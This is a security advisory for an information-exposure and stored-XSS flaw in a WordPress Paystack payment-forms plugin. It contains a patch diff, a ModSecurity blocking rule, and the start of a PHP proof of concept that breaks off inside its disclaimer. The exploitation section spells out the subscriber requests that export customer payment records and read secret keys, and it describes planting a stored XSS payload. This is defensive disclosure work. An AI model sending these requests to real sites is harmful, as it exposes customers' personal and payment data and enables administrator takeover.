Opens in a new tab
Published : November 15, 2026

CVE-2026-66444: Payment Forms for Paystack <= 4.0.5 Authenticated (Subscriber+) Information Exposure PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 200
Vulnerable Version 4.0.5
Patched Version 4.0.6
Disclosed August 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66444: The Payment Forms for Paystack plugin for WordPress exposes sensitive configuration and payment data to authenticated users with only Subscriber-level access. The core flaw is missing capability checks on multiple administrative handlers. A logged-in subscriber can retrieve payment records (including email addresses, transaction references, amounts, and form submission metadata) and read plugin settings that reveal the presence of Paystack API keys. Atomic Edge rates this as a Medium severity information exposure (CVSS 4.3, CWE-200) because the data affects confidentiality of customers and site configuration, though it does not grant code execution or direct privilege escalation.

Root Cause: The vulnerability stems from authorization decisions made solely on login state or low-privilege capabilities rather than on dedicated, elevated capabilities. In `includes/classes/class-submissions.php`, `register_submissions_page()` registers the `submissions` submenu with the `administrator` role string (which WordPress does not treat as a standard capability in all contexts) and `output_submissions_page()` performs no `current_user_can()` check before deriving `$_GET[‘form’]` and querying payment rows from the `paystack_forms_payments` table. The export handler `export_excel()` had no nonce, no capability check, and accepted a raw `form_id` from `$_POST`, allowing any authenticated user to call `admin-post.php?action=pff_paystack_export_excel` and download a full CSV of a form’s payment records. In `includes/classes/class-form-shortcode.php`, when no public key is configured the shortcode renderer emits an admin settings URL to any viewer, disclosing the site’s admin path and confirming the plugin is active. In `includes/classes/class-forms-list.php`, `column_default` and row actions unconditionally add a Payments column and a View Payments link mapping to the submissions page. In `includes/classes/class-payments-list-table.php`, `format_metadata()` decoded JSON to objects and injected `display_name`, `value`, and `email` into HTML without escaping, enabling stored XSS against the admin who views the list. In `includes/classes/class-settings.php`, the submenu used `edit_posts` (Subscriber has this) instead of `manage_options`, and password fields rendered the stored secret key back into the value attribute.

Exploitation: An authenticated Subscriber requests `GET /wp-admin/edit.php?post_type=paystack_form&page=submissions&form=1`. Because the page callback lacks a capability guard, the response renders the payments list table. Metadata values stored by earlier form submissions are returned unescaped, so a low-privilege user who can submit a form can plant “ in a text field’s `value`; when an administrator views the submissions page the script executes in the admin session (stored XSS). The same user can POST to `/wp-admin/admin-post.php` with `action=pff_paystack_export_excel` and `form_id=N` (no nonce required pre-patch) to receive a CSV containing every payment row for that form: customer email, amount, transaction reference, paid date, and all metadata field values. Visiting `/wp-admin/edit.php?post_type=paystack_form&page=settings` is also reachable because the settings submenu was registered with `edit_posts`; the page reveals whether test and live secret keys are set and returns their raw values in the HTML. Rendering a shortcode via `[paystack_form id=”…”]` on a page while no public key exists returns an `/wp-admin/edit.php?post_type=paystack_form&page=settings` link to anonymous and subscriber viewers.

Patch Analysis: Version 4.0.6 adds centralized capability helpers. `Submissions::get_capability()` returns `manage_options` (filterable) and now gates `register_submissions_page()`, `output_submissions_page()`, and `export_excel()`. Nonce protection is added with `EXPORT_NONCE_ACTION` and `wp_nonce_field()` / `check_admin_referer()`. The export handler also validates the post type and casts `form_id` with `absint()`. `Settings::get_capability()` replaces the `edit_posts` check on the settings submenu, `output_settings_page()` returns early for unauthorized users, and `add_action_links()` hides the settings link. Password fields switch to an empty value attribute plus a masked hint via `mask_key()`, so stored secret keys no longer render. A `register_secret_key_guards()` filter preserves existing keys when the field is blank and rejects keys lacking the `sk_test_` / `sk_live_` prefix. `format_metadata()` now decodes to arrays, type-checks each item, and escapes `display_name`, `value`, `email`, `txn_code`, and `date` with `esc_html()` / `esc_url()`, closing the stored XSS. `prep_csv_data()` neutralizes CSV formula injection. The forms list hides the Payments column and View Payments action for users without `Submissions::get_capability()`. The shortcode returns a generic ‘Payment is not available’ message to users lacking `Settings::get_capability()` instead of leaking the admin URL.

Impact: Exploited by a Subscriber, this yields disclosure of customer PII (emails, amounts, transaction references, custom field values) across all payment forms and confirmation of configured Paystack API keys, which assists follow-on attacks. The stored XSS in payment metadata executes in the context of an administrator who views the submissions page, allowing session riding, admin user creation, and full site takeover. Atomic Edge assesses the confidentiality and integrity impact as high for affected installations, though the CVE’s 4.3 score reflects the authenticated and limited-scope nature of the direct data exposure.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/payment-forms-for-paystack/includes/classes/class-form-shortcode.php
+++ b/payment-forms-for-paystack/includes/classes/class-form-shortcode.php
@@ -111,6 +111,9 @@
 		// First lets check for a public key.
 		$public_key = $this->helpers->get_public_key();
 		if ( ! $public_key ) {
+			if ( ! current_user_can( Settings::get_capability() ) ) {
+				return '<h5>' . esc_html__( 'Payment is not available right now. Please contact the site administrator.', 'pff-paystack' ) . '</h5>';
+			}
 			$settings_link = esc_url( get_admin_url( null, 'edit.php?post_type=paystack_form&page=settings' ) );
 			return sprintf(
 				'<h5>%s <a href="%s">%s</a></h5>',
--- a/payment-forms-for-paystack/includes/classes/class-forms-list.php
+++ b/payment-forms-for-paystack/includes/classes/class-forms-list.php
@@ -36,7 +36,9 @@
 		if ( get_post_type( $post ) === 'paystack_form' ) {
 			unset( $actions['view'] );
 			unset( $actions['quick edit'] );
-			$actions['export'] = '<a href="' . admin_url( 'edit.php?post_type=paystack_form&page=submissions&form=' . $post->ID ) . '" >' . esc_html__( 'View Payments', 'payment_forms' ) . '</a>';
+			if ( current_user_can( Submissions::get_capability() ) ) {
+				$actions['export'] = '<a href="' . admin_url( 'edit.php?post_type=paystack_form&page=submissions&form=' . $post->ID ) . '" >' . esc_html__( 'View Payments', 'payment_forms' ) . '</a>';
+			}
 		}
 		return $actions;
 	}
@@ -52,9 +54,11 @@
 			'cb'        => '<input type="checkbox" />',
 			'title'     => esc_html__( 'Name', 'pff-paystack' ),
 			'shortcode' => esc_html__( 'Shortcode', 'pff-paystack' ),
-			'payments'  => esc_html__( 'Payments', 'pff-paystack' ),
-			'date'      => esc_html__( 'Date', 'pff-paystack' )
 		);
+		if ( current_user_can( Submissions::get_capability() ) ) {
+			$columns['payments'] = esc_html__( 'Payments', 'pff-paystack' );
+		}
+		$columns['date'] = esc_html__( 'Date', 'pff-paystack' );
 		return $columns;
 	}

--- a/payment-forms-for-paystack/includes/classes/class-helpers.php
+++ b/payment-forms-for-paystack/includes/classes/class-helpers.php
@@ -767,7 +767,7 @@
 					break;

 				default:
-					$display_name = ucwords( str_replace( array( '_', '-', 'pf' ), ' ', $key ) );
+					$display_name = sanitize_text_field( ucwords( str_replace( array( '_', '-', 'pf' ), ' ', $key ) ) );
 					$fields[] = array(
 						'display_name'  => $display_name,
 						'variable_name' => $key,
--- a/payment-forms-for-paystack/includes/classes/class-payments-list-table.php
+++ b/payment-forms-for-paystack/includes/classes/class-payments-list-table.php
@@ -164,11 +164,11 @@
 			}
 			$new_data[] = array(
 				'id'       => $new_key,
-				'email'    => '<a href="mailto:' . $row->email . '">' . $row->email . '</a>',
-				'amount'   => $currency . '<b>' . number_format( $row->amount ) . '</b>',
-				'txn_code' => $txn_code,
+				'email'    => '<a href="' . esc_url( 'mailto:' . $row->email ) . '">' . esc_html( $row->email ) . '</a>',
+				'amount'   => esc_html( $currency ) . '<b>' . number_format( $row->amount ) . '</b>',
+				'txn_code' => esc_html( $txn_code ),
 				'metadata' => $this->format_metadata( $row->metadata ),
-				'date'     => $row->created_at
+				'date'     => esc_html( $row->created_at )
 			);
 		}
 		return $new_data;
@@ -181,26 +181,35 @@
 	 * @return string
 	 */
 	public function format_metadata( $data ) {
-		$new = json_decode( $data );
+		$new  = json_decode( $data, true );
 		$text = '';

+		if ( ! is_array( $new ) ) {
+			return '';
+		}
+
 		// Determine both for backwards compatability
-		if ( array_key_exists( "0", $new ) ) {
-			foreach ( $new as $key => $item ) {
-				if ( $item->type == 'text' ) {
-					$text .= '<b>' . $item->display_name . ": </b> " . $item->value . "<br />";
+		if ( array_key_exists( 0, $new ) ) {
+			foreach ( $new as $item ) {
+				if ( ! is_array( $item ) ) {
+					continue;
+				}
+				$display_name = isset( $item['display_name'] ) ? esc_html( (string) $item['display_name'] ) : '';
+				$value        = isset( $item['value'] ) && is_scalar( $item['value'] ) ? (string) $item['value'] : '';
+				if ( isset( $item['type'] ) && 'text' === $item['type'] ) {
+					$text .= '<b>' . $display_name . ": </b> " . esc_html( $value ) . "<br />";
 				} else {
-					$text .= '<b>' . $item->display_name . ": </b>  <a target='_blank' href='" . $item->value . "'>link</a><br />";
+					$text .= '<b>' . $display_name . ": </b>  <a target='_blank' rel='noopener noreferrer' href='" . esc_url( $value ) . "'>link</a><br />";
 				}
 			}
 		} else {
-			$text = '';
-			if ( count( $new ) > 0 ) {
-				foreach ( $new as $key => $item ) {
-					$text .= '<b>' . $key . ": </b> " . $item . "<br />";
+			foreach ( $new as $key => $item ) {
+				if ( ! is_scalar( $item ) ) {
+					continue;
 				}
+				$text .= '<b>' . esc_html( $key ) . ": </b> " . esc_html( (string) $item ) . "<br />";
 			}
 		}
 		return $text;
 	}
-}
 No newline at end of file
+}
--- a/payment-forms-for-paystack/includes/classes/class-paystack-forms.php
+++ b/payment-forms-for-paystack/includes/classes/class-paystack-forms.php
@@ -113,6 +113,7 @@
 			'email-receipt'        => 'Email_Receipt',
 			'email-receipt-owner'  => 'Email_Receipt_Owner',
 			'retry-submit'         => 'Retry_Submit',
+			'php-version-notice'   => 'PHP_Version_Notice',
 		);
 	}

--- a/payment-forms-for-paystack/includes/classes/class-php-version-notice.php
+++ b/payment-forms-for-paystack/includes/classes/class-php-version-notice.php
@@ -0,0 +1,193 @@
+<?php
+/**
+ * Warns administrators when the server runs a vulnerable PHP version.
+ *
+ * @package    paystackpayment_forms
+ */
+
+namespace paystackpayment_forms;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * PHP version notice class.
+ */
+class PHP_Version_Notice {
+
+	/**
+	 * First patched release per supported minor branch.
+	 *
+	 * CVE-2026-109618 / CVE-2026-109619; 8.1 and older are end of life with no fix.
+	 *
+	 * @var array
+	 */
+	const FIXED_PATCH = array(
+		'8.2' => 35,
+		'8.3' => 36,
+		'8.4' => 27,
+		'8.5' => 12,
+	);
+
+	/**
+	 * Construct the class.
+	 */
+	public function __construct() {
+		add_filter( 'site_status_tests', array( $this, 'add_site_health_test' ) );
+		add_action( 'admin_notices', array( $this, 'admin_notice' ) );
+	}
+
+	/**
+	 * Check whether a PHP version is affected.
+	 *
+	 * @param string $version PHP version string.
+	 *
+	 * @return bool
+	 */
+	public static function is_affected( $version ) {
+		if ( ! preg_match( '/^(d+).(d+)(?:.(d+))?/', (string) $version, $matches ) ) {
+			return false;
+		}
+
+		$major = (int) $matches[1];
+		$minor = (int) $matches[2];
+		$patch = isset( $matches[3] ) ? (int) $matches[3] : 0;
+
+		if ( $major < 8 || ( 8 === $major && $minor < 2 ) ) {
+			return true;
+		}
+
+		$key = $major . '.' . $minor;
+
+		return isset( self::FIXED_PATCH[ $key ] ) && $patch < self::FIXED_PATCH[ $key ];
+	}
+
+	/**
+	 * Get the running PHP release, without any distro suffix.
+	 *
+	 * @return string
+	 */
+	private static function current_version() {
+		return PHP_MAJOR_VERSION . '.' . PHP_MINOR_VERSION . '.' . PHP_RELEASE_VERSION;
+	}
+
+	/**
+	 * Whether this is a distro build whose security fixes may be backported.
+	 *
+	 * @return bool
+	 */
+	private static function is_distro_build() {
+		return '' !== PHP_EXTRA_VERSION;
+	}
+
+	/**
+	 * Whether the running version is affected, ignoring distro backports.
+	 *
+	 * @return bool
+	 */
+	private function is_vulnerable() {
+		return self::is_affected( self::current_version() ) && apply_filters( 'pff_paystack_php_version_warning', true );
+	}
+
+	/**
+	 * Whether the admin notice should be shown.
+	 *
+	 * @return bool
+	 */
+	private function should_warn() {
+		return $this->is_vulnerable() && ! self::is_distro_build();
+	}
+
+	/**
+	 * Build the warning message.
+	 *
+	 * @return string
+	 */
+	private function message() {
+		$fixed = array();
+		foreach ( self::FIXED_PATCH as $branch => $patch ) {
+			$fixed[] = $branch . '.' . $patch;
+		}
+
+		return sprintf(
+			/* translators: 1: PHP version, 2: list of fixed PHP versions. */
+			esc_html__( 'Payment Forms for Paystack: this server runs PHP %1$s, which is affected by critical security vulnerabilities (CVE-2026-109618, CVE-2026-109619) that allow remote code execution. Ask your hosting provider to upgrade to PHP %2$s or later. If your host backports security fixes to older PHP builds, this warning may not apply.', 'pff-paystack' ),
+			esc_html( PHP_VERSION ),
+			esc_html( implode( ', ', $fixed ) )
+		);
+	}
+
+	/**
+	 * Add the Site Health test.
+	 *
+	 * @param array $tests Site Health tests.
+	 *
+	 * @return array
+	 */
+	public function add_site_health_test( $tests ) {
+		$tests['direct']['pff_paystack_php_version'] = array(
+			'label' => esc_html__( 'Payment Forms for Paystack PHP version', 'pff-paystack' ),
+			'test'  => array( $this, 'site_health_result' ),
+		);
+
+		return $tests;
+	}
+
+	/**
+	 * Site Health test callback.
+	 *
+	 * @return array
+	 */
+	public function site_health_result() {
+		$affected = $this->is_vulnerable();
+		if ( ! $affected ) {
+			$status = 'good';
+		} else {
+			$status = self::is_distro_build() ? 'recommended' : 'critical';
+		}
+		$colors = array(
+			'good'        => 'blue',
+			'recommended' => 'orange',
+			'critical'    => 'red',
+		);
+
+		return array(
+			'label'       => $affected
+				? esc_html__( 'PHP version has known critical vulnerabilities', 'pff-paystack' )
+				: esc_html__( 'PHP version is not affected by CVE-2026-109618 or CVE-2026-109619', 'pff-paystack' ),
+			'status'      => $status,
+			'badge'       => array(
+				'label' => esc_html__( 'Security', 'pff-paystack' ),
+				'color' => $colors[ $status ],
+			),
+			'description' => '<p>' . ( $affected
+				? $this->message()
+				: esc_html__( 'This server's PHP version is not affected by CVE-2026-109618 or CVE-2026-109619.', 'pff-paystack' ) ) . '</p>',
+			'actions'     => sprintf(
+				'<p><a href="%s" target="_blank" rel="noopener noreferrer">%s</a></p>',
+				esc_url( 'https://www.php.net/supported-versions.php' ),
+				esc_html__( 'View supported PHP versions', 'pff-paystack' )
+			),
+			'test'        => 'pff_paystack_php_version',
+		);
+	}
+
+	/**
+	 * Display the admin notice.
+	 *
+	 * @return void
+	 */
+	public function admin_notice() {
+		if ( ! current_user_can( Settings::get_capability() ) || ! $this->should_warn() ) {
+			return;
+		}
+
+		$screen = get_current_screen();
+		if ( ! $screen || ( 'plugins' !== $screen->id && 'paystack_form' !== $screen->post_type ) ) {
+			return;
+		}
+
+		echo '<div class="notice notice-warning"><p>' . $this->message() . '</p></div>'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- escaped in message().
+	}
+}
--- a/payment-forms-for-paystack/includes/classes/class-settings.php
+++ b/payment-forms-for-paystack/includes/classes/class-settings.php
@@ -16,6 +16,8 @@
  */
 class Settings {

+	const OPTION_GROUP = 'kkd-pff-paystack-settings-group';
+
 	/**
 	 * Holdes the array of settings fields.
 	 *
@@ -37,6 +39,7 @@
 				'tsk' => array(
 					'title'   => esc_html__( 'Test Secret Key', 'pff-paystack' ),
 					'type'    => 'password',
+					'prefix'  => 'sk_test_',
 					'default' => '',
 				),
 				'tpk' => array(
@@ -47,6 +50,7 @@
 				'lsk' => array(
 					'title'   => esc_html__( 'Live Secret Key', 'pff-paystack' ),
 					'type'    => 'password',
+					'prefix'  => 'sk_live_',
 					'default' => '',
 				),
 				'lpk' => array(
@@ -80,6 +84,100 @@
 		);
 		add_action( 'admin_menu', [ $this, 'register_settings_page' ] );
 		add_action( 'admin_menu', [ $this, 'register_settings_fields' ] );
+		add_action( 'admin_init', [ $this, 'register_secret_key_guards' ] );
+	}
+
+	/**
+	 * Returns the capability required to view and save the settings.
+	 *
+	 * @return string
+	 */
+	public static function get_capability() {
+		return apply_filters( 'option_page_capability_' . self::OPTION_GROUP, 'manage_options' );
+	}
+
+	/**
+	 * Keeps stored secret keys when left blank and rejects keys with the wrong prefix.
+	 *
+	 * @return void
+	 */
+	public function register_secret_key_guards() {
+		// phpcs:disable WordPress.Security.NonceVerification -- options.php verifies the nonce before update_option runs.
+		$option_page = '';
+		if ( isset( $_POST['option_page'] ) ) {
+			$option_page = sanitize_key( wp_unslash( $_POST['option_page'] ) );
+		} elseif ( isset( $_GET['option_page'] ) ) {
+			$option_page = sanitize_key( wp_unslash( $_GET['option_page'] ) );
+		}
+		// phpcs:enable WordPress.Security.NonceVerification
+		if ( self::OPTION_GROUP !== $option_page ) {
+			return;
+		}
+
+		foreach ( $this->get_settings_fields() as $fields ) {
+			foreach ( $fields as $key => $args ) {
+				if ( ! empty( $args['type'] ) && 'password' === $args['type'] ) {
+					add_filter( "pre_update_option_{$key}", [ $this, 'filter_secret_key' ], 10, 3 );
+				}
+			}
+		}
+	}
+
+	/**
+	 * Keeps the stored key when the submitted one is blank or has the wrong prefix.
+	 *
+	 * @param mixed  $new    Submitted value.
+	 * @param mixed  $old    Stored value.
+	 * @param string $option Option name.
+	 * @return mixed
+	 */
+	public function filter_secret_key( $new, $old, $option ) {
+		if ( '' === $new ) {
+			return $old;
+		}
+
+		$field = null;
+		foreach ( $this->get_settings_fields() as $fields ) {
+			if ( isset( $fields[ $option ] ) ) {
+				$field = $fields[ $option ];
+				break;
+			}
+		}
+
+		$prefix = isset( $field['prefix'] ) ? $field['prefix'] : '';
+		if ( '' !== $prefix && 0 !== strpos( (string) $new, $prefix ) ) {
+			add_settings_error(
+				self::OPTION_GROUP,
+				"pff-paystack-invalid-{$option}",
+				sprintf(
+					/* translators: 1: field title, 2: required key prefix */
+					esc_html__( 'Invalid %1$s: it must start with %2$s. The previous key was kept; other settings were saved.', 'pff-paystack' ),
+					wp_strip_all_tags( $field['title'] ),
+					$prefix
+				),
+				'error'
+			);
+			return $old;
+		}
+
+		return $new;
+	}
+
+	/**
+	 * Builds the masked hint for a stored secret key.
+	 *
+	 * @param string $value  Stored key.
+	 * @param string $prefix Expected key prefix, or '' if none.
+	 * @return string
+	 */
+	private function mask_key( $value, $prefix ) {
+		if ( '' === $prefix || 0 !== strpos( $value, $prefix ) ) {
+			return '••••';
+		}
+		if ( strlen( $value ) < strlen( $prefix ) + 20 ) {
+			return $prefix . '••••';
+		}
+		return $prefix . '…' . substr( $value, -4 );
 	}

 	/**
@@ -88,7 +186,7 @@
 	 * @return void
 	 */
 	public function register_settings_page() {
-		add_submenu_page( 'edit.php?post_type=paystack_form', esc_html__( 'Settings', 'pff-paystack' ), esc_html__( 'Settings', 'pff-paystack' ), 'edit_posts', 'settings', [ $this, 'output_settings_page' ] );
+		add_submenu_page( 'edit.php?post_type=paystack_form', esc_html__( 'Settings', 'pff-paystack' ), esc_html__( 'Settings', 'pff-paystack' ), self::get_capability(), 'settings', [ $this, 'output_settings_page' ] );
 	}

 	/**
@@ -101,23 +199,27 @@
 		// Run through each group, and the fields in there.
 		foreach ( $fields as $group => $fields ) {
 			foreach ( $fields as $field_key => $args ) {
-				register_setting( 'kkd-pff-paystack-settings-group', $field_key, [ $this, 'sanitise_field' ] );
+				register_setting( self::OPTION_GROUP, $field_key, [ $this, 'sanitise_field' ] );
 			}
 		}
 	}

 	public function output_settings_page() {
+		if ( ! current_user_can( self::get_capability() ) ) {
+			return;
+		}
 		?>
 		<div class="wrap">
 			<h1><?php esc_html_e( 'Paystack Forms Settings', 'pff-paystack' ); ?></h1>
+			<?php settings_errors(); ?>
 			<h2><?php esc_html_e( 'API Keys Settings', 'pff-paystack' ); ?></h2>

 			<span><?php echo wp_kses_post( __( 'Get your API Keys <a href="https://dashboard.paystack.co/#/settings/developer" target="_blank">here</a>', 'pff-paystack' ) ); ?> </span>

 			<form method="post" action="options.php">
 				<?php
-					settings_fields( 'kkd-pff-paystack-settings-group' );
-					do_settings_sections( 'kkd-pff-paystack-settings-group' );
+					settings_fields( self::OPTION_GROUP );
+					do_settings_sections( self::OPTION_GROUP );
 					$settings_fields = $this->get_settings_fields();
 				?>
 				<table class="form-table paystack_setting_page">
@@ -134,6 +236,13 @@
 									<option value="test" <?php echo esc_attr( $this->is_option_selected( 'test', $saved_val ) ); ?>><?php esc_html_e( 'Test Mode', 'pff-paystack' ); ?></option>
 									<option value="live" <?php echo esc_attr( $this->is_option_selected( 'live', $saved_val ) ); ?>><?php esc_html_e( 'Live Mode', 'pff-paystack' ); ?></option>
 								</select>
+							<?php } elseif ( 'password' === $field['type'] ) { ?>
+								<input type="password" name="<?php echo esc_attr( $key ); ?>" value="" autocomplete="new-password" />
+								<?php $saved_key = (string) get_option( $key, '' ); ?>
+								<?php if ( '' !== $saved_key ) { ?>
+									<?php /* translators: %s: masked saved key */ ?>
+									<p class="description"><?php echo esc_html( sprintf( __( 'Saved key: %s. Leave blank to keep it.', 'pff-paystack' ), $this->mask_key( $saved_key, isset( $field['prefix'] ) ? $field['prefix'] : '' ) ) ); ?></p>
+								<?php } ?>
 							<?php } else { ?>
 								<input type="<?php echo esc_attr( $field['type'] ); ?>" name="<?php echo esc_attr( $key ); ?>" value="<?php echo esc_attr( get_option( $key, $field['default'] ) ); ?>" />
 							<?php } ?>
@@ -195,11 +304,10 @@
 	/**
 	 * Sanitises the field name
 	 *
-	 * @param string $value
-	 * /
-	 *
+	 * @param mixed $value
+	 * @return string
 	 */
-	private function sanitise_field( $value ) {
-		return sanitize_text_field( $value );
+	public function sanitise_field( $value ) {
+		return sanitize_text_field( is_scalar( $value ) ? (string) $value : '' );
 	}
 }
--- a/payment-forms-for-paystack/includes/classes/class-setup.php
+++ b/payment-forms-for-paystack/includes/classes/class-setup.php
@@ -85,6 +85,9 @@
 	 * Add a link to our settings page in the plugin action links.
 	 */
 	public function add_action_links( $links ) {
+		if ( ! current_user_can( Settings::get_capability() ) ) {
+			return $links;
+		}
 		$settings_link = array(
 			'<a href="' . admin_url( 'edit.php?post_type=paystack_form&page=settings') . '">' . esc_html__( 'Settings', 'pff-paystack' ) . '</a>',
 		);
--- a/payment-forms-for-paystack/includes/classes/class-submissions.php
+++ b/payment-forms-for-paystack/includes/classes/class-submissions.php
@@ -10,6 +10,8 @@
  */
 class Submissions {

+	const EXPORT_NONCE_ACTION = 'pff-paystack-export';
+
 	/**
 	 * Constructor
 	 */
@@ -19,12 +21,21 @@
 	}

 	/**
+	 * Returns the capability required to view and export payment data.
+	 *
+	 * @return string
+	 */
+	public static function get_capability() {
+		return apply_filters( 'pff_paystack_payments_capability', 'manage_options' );
+	}
+
+	/**
 	 * Register the submissions page
 	 *
 	 * @return void
 	 */
 	public function register_submissions_page() {
-		add_submenu_page( 'edit.php?post_type=paystack_form', esc_html__( 'Submissions', 'pff-paystack' ), esc_html__( 'Submissions', 'pff-paystack' ), 'administrator', 'submissions', [ $this, 'output_submissions_page' ] );
+		add_submenu_page( 'edit.php?post_type=paystack_form', esc_html__( 'Submissions', 'pff-paystack' ), esc_html__( 'Submissions', 'pff-paystack' ), self::get_capability(), 'submissions', [ $this, 'output_submissions_page' ] );
 		remove_submenu_page( 'edit.php?post_type=paystack_form', 'submissions' );
 	}

@@ -34,6 +45,10 @@
 	 * @return void
 	 */
 	public function output_submissions_page() {
+		if ( ! current_user_can( self::get_capability() ) ) {
+			return;
+		}
+
 		// phpcs:ignore WordPress.Security.NonceVerification.Recommended
 		if ( ! isset( $_GET['form'] ) ) {
 			return esc_html__( 'No form set', 'pff-paystack' );
@@ -61,6 +76,7 @@
 					<?php if ( $data > 0 ) { ?>
 						<form action="<?php echo esc_html( admin_url( 'admin-post.php' ) ); ?>" method="post">
 							<input type="hidden" name="action" value="pff_paystack_export_excel">
+							<?php wp_nonce_field( self::EXPORT_NONCE_ACTION ); ?>
 							<input type="hidden" name="form_id" value="<?php echo esc_html( $form_id ); ?>">
 							<button type="submit" class="button button-primary button-hero load-customize"><?php esc_html_e( 'Export Data to Excel', 'pff-paystack' ); ?></button>
 						</form>
@@ -98,6 +114,19 @@
 	 * @return string
 	 */
 	public function prep_csv_data( $item ) {
+		if ( null === $item ) {
+			$item = '';
+		} elseif ( is_scalar( $item ) ) {
+			$item = (string) $item;
+		} else {
+			$item = wp_json_encode( $item );
+		}
+
+		// Neutralise spreadsheet formulas; phone-number-style values are left intact (negatives are escaped).
+		if ( preg_match( '/^(?:[sx00]*[=+-@]|[trn])/', $item ) && ! preg_match( '/^+?d[ds()-]*$/', $item ) ) {
+			$item = "'" . $item;
+		}
+
 		return '"' . str_replace( '"', '""', $item ) . '"';
 	}

@@ -109,14 +138,23 @@
 	public function export_excel() {
 		global $wpdb;

-		// phpcs:ignore WordPress.Security.NonceVerification.Missing
+		if ( ! current_user_can( self::get_capability() ) ) {
+			wp_die( esc_html__( 'You do not have permission to export this data.', 'pff-paystack' ), 403 );
+		}
+
+		check_admin_referer( self::EXPORT_NONCE_ACTION );
+
 		if ( ! isset( $_POST['form_id'] ) || empty( $_POST['form_id'] ) ) {
 			return;
 		}

-		// phpcs:ignore WordPress.Security.NonceVerification.Missing
-		$form_id    = sanitize_text_field( wp_unslash( $_POST['form_id'] ) );
+		$form_id    = absint( wp_unslash( $_POST['form_id'] ) );
 		$obj        = get_post( $form_id );
+
+		if ( ! $obj || 'paystack_form' !== $obj->post_type ) {
+			wp_die( esc_html__( 'Form not found.', 'pff-paystack' ), 404 );
+		}
+
 		$csv_output = '';
 		$currency   = get_post_meta( $form_id, '_currency', true );

@@ -135,10 +173,14 @@
 			$csv_output .= "Date Paid,";
 			$csv_output .= "Reference,";

-			$new = json_decode( $header->metadata );
+			$new = json_decode( $header->metadata, true );
+			if ( ! is_array( $new ) ) {
+				$new = array();
+			}
 			if ( array_key_exists( 0, $new ) ) {
 				foreach ( $new as $item ) {
-					$csv_output .= $this->prep_csv_data( $item->display_name ) . ',';
+					$display_name = is_array( $item ) && isset( $item['display_name'] ) ? $item['display_name'] : '';
+					$csv_output  .= $this->prep_csv_data( $display_name ) . ',';
 				}
 			} elseif ( count( $new ) > 0 ) {
 				foreach ( $new as $key => $item ) {
@@ -155,13 +197,17 @@
 				$csv_output .= $this->prep_csv_data( $newkey ) . ',';
 				$csv_output .= $this->prep_csv_data( $dbdata->email ) . ',';
 				$csv_output .= $this->prep_csv_data( $currency . ' ' . $dbdata->amount ) . ',';
-				$csv_output .= $this->prep_csv_data( substr( $dbdata->paid_at, 0, 10 ) ) . ',';
+				$csv_output .= $this->prep_csv_data( substr( (string) $dbdata->paid_at, 0, 10 ) ) . ',';
 				$csv_output .= $this->prep_csv_data( $txn_code ) . ',';

-				$new = json_decode( $dbdata->metadata );
+				$new = json_decode( $dbdata->metadata, true );
+				if ( ! is_array( $new ) ) {
+					$new = array();
+				}
 				if ( array_key_exists( 0, $new ) ) {
 					foreach ( $new as $item ) {
-						$csv_output .= $this->prep_csv_data( $item->value ) . ',';
+						$value       = is_array( $item ) && isset( $item['value'] ) ? $item['value'] : '';
+						$csv_output .= $this->prep_csv_data( $value ) . ',';
 					}
 				} elseif ( count( $new ) > 0 ) {
 					foreach ( $new as $item ) {
@@ -172,7 +218,7 @@
 				$csv_output .= "n";
 			}

-			$filename = $obj->post_title . "_payments_" . gmdate( 'Y-m-d_H-i' );
+			$filename = sanitize_file_name( $obj->post_title ) . "_payments_" . gmdate( 'Y-m-d_H-i' );

 			header( 'Content-Type: application/vnd.ms-excel' );
 			header( 'Content-Disposition: attachment; filename="' . $filename . '.csv"' );
--- a/payment-forms-for-paystack/paystack-forms.php
+++ b/payment-forms-for-paystack/paystack-forms.php
@@ -3,7 +3,7 @@
   Plugin Name:  Payment Forms for Paystack
   Plugin URI:   https://github.com/PaystackHQ/Wordpress-Payment-forms-for-Paystack
   Description:  Payment Forms for Paystack allows you create forms that will be used to bill clients for goods and services via Paystack.
-  Version:      4.0.5
+  Version:      4.0.6
   Author:       Paystack
   Author URI:   http://paystack.com
   License:      GPL-2.0+
@@ -16,7 +16,7 @@
 define( 'PFF_PAYSTACK_PLUGIN_PATH', plugin_dir_path( __FILE__ ) );
 define( 'PFF_PAYSTACK_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
 define( 'PFF_PAYSTACK_MAIN_FILE', __FILE__ );
-define( 'PFF_PAYSTACK_VERSION', '4.0.5' );
+define( 'PFF_PAYSTACK_VERSION', '4.0.6' );
 define( 'PFF_PAYSTACK_TABLE', 'paystack_forms_payments' );
 define( 'PFF_PLUGIN_BASENAME', plugin_basename(__FILE__) );
 define( 'PFF_PLUGIN_NAME', 'pff-paystack' );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-66444
# Block unauth/subscriber access to the Paystack submissions export handler.
# The export action requires elevated capability post-patch, and legitimate exports
# are always performed from the admin submissions form with a valid nonce.
SecRule REQUEST_URI "@streq /wp-admin/admin-post.php" 
  "id:20266644,phase:2,deny,status:403,chain,msg:'CVE-2026-66444 via Payment Forms for Paystack export handler',severity:'CRITICAL',tag:'CVE-2026-66444',tag:'attack-information-disclosure'"
  SecRule ARGS_POST:action "@streq pff_paystack_export_excel" "chain"
    SecRule &ARGS_POST:_wpnonce "@eq 0" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
